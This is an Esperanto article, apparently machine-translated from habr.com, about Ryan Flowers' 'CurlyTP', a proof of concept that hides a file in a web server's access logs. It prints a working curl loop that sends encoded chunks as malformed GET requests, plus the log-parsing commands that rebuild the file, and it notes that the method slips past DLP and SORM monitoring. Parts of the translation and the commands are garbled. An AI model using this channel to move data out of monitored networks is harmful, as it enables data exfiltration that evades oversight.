Interŝanĝo de sekretaj mesaĝoj per servilaj protokoloj

Laŭ la Vikipedia difino, morta guto estas konspira ilo, kiu servas por interŝanĝi informojn aŭ iujn aĵojn inter homoj uzantaj sekretan lokon. La ideo estas, ke homoj neniam renkontiĝas - sed ili ankoraŭ interŝanĝas informojn por konservi funkcian sekurecon.

La kaŝejo ne devas altiri atenton. Tial, en la eksterreta mondo ili ofte uzas diskretajn aferojn: malfiksan brikon en la muro, bibliotekan libron aŭ kavon en arbo.

Estas multaj ĉifrado kaj anonimigo iloj en la Interreto, sed la fakto mem uzi ĉi tiujn ilojn altiras atenton. Krome, ili povas esti blokitaj ĉe la kompania aŭ registara nivelo. Kion fari?

Programisto Ryan Flowers proponis interesan opcion - uzu ajnan retservilon kiel kaŝejon. Se vi pensas pri tio, kion faras retservilo? Ricevas petojn, eldonas dosierojn kaj skribas protokolojn. Kaj ĝi registras ĉiujn petojn, eĉ malĝustaj!

Rezultas, ke iu ajn retservilo permesas vin konservi preskaŭ ajnan mesaĝon en la protokolo. Floroj scivolis kiel uzi ĉi tion.

Li proponas ĉi tiun opcion:

  1. Prenu tekstdosieron (sekreta mesaĝo) kaj kalkulu la haŝon (md5sum).
  2. Ni kodas ĝin (gzip+uuencode).
  3. Ni skribas al la protokolo uzante intence malĝustan peton al la servilo.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Por legi dosieron, vi devas plenumi ĉi tiujn operaciojn en inversa ordo: malkodi kaj malzipi la dosieron, kontrolu la haŝon (la haŝo povas esti sekure transdonita per malfermitaj kanaloj).

Spacoj estas anstataŭigitaj per =+=por ke ne estu spacoj en la adreso. La programo, kiun la aŭtoro nomas CurlyTP, uzas baz64-kodigon, kiel retpoŝtajn aldonaĵojn. La peto estas farita per ŝlosilvorto ?transfer?tiel ke la ricevanto povas facile trovi ĝin en la protokoloj.

Kion ni vidas en la protokoloj en ĉi tiu kazo?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Kiel jam menciite, por ricevi sekretan mesaĝon vi devas plenumi la operaciojn en inversa ordo:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

La procezo estas facile aŭtomatigebla. Md5sum kongruas, kaj la enhavo de la dosiero konfirmas, ke ĉio estis malkodita ĝuste.

La metodo estas tre simpla. "La celo de ĉi tiu ekzerco estas nur pruvi, ke dosieroj povas esti transdonitaj per senkulpaj malgrandaj retpetoj, kaj ĝi funkcias en iu ajn retservilo kun klartekstaj protokoloj. Esence, ĉiu retservilo estas kaŝejo!” skribas Floroj.

Kompreneble, la metodo funkcias nur se la ricevanto havas aliron al servilaj protokoloj. Sed tia aliro estas provizita, ekzemple, de multaj gastigantoj.

Kiel uzi ĝin?

Ryan Flowers diras, ke li ne estas fakulo pri informa sekureco kaj ne kompilos liston de eblaj uzoj por CurlyTP. Por li, estas nur pruvo de koncepto, ke la konataj iloj, kiujn ni vidas ĉiutage, povas esti uzataj en nekonvencia maniero.

Fakte, ĉi tiu metodo havas kelkajn avantaĝojn super aliaj serviloj "kaŝaĵoj" kiel Cifereca Dead DropPirateBox: ĝi ne postulas specialan agordon ĉe la servilo aŭ ajnajn specialajn protokolojn - kaj ne vekos suspekton inter tiuj, kiuj kontrolas la trafikon. Estas neverŝajne, ke SORM aŭ DLP-sistemo skanos URL-ojn por kunpremitaj tekstaj dosieroj.

Ĉi tio estas unu el la manieroj transdoni mesaĝojn per servodosieroj. Vi povas memori kiel iuj progresintaj kompanioj kutimis loki Laborpostenoj por programistoj en HTTP-Titoloj aŭ en la kodo de HTML-paĝoj.

Interŝanĝo de sekretaj mesaĝoj per servilaj protokoloj

La ideo estis, ke nur retaj programistoj vidos ĉi tiun paskan ovon, ĉar normala persono ne rigardus la kapojn aŭ HTML-kodon.

Interŝanĝo de sekretaj mesaĝoj per servilaj protokoloj

fonto: www.habr.com

Aldoni komenton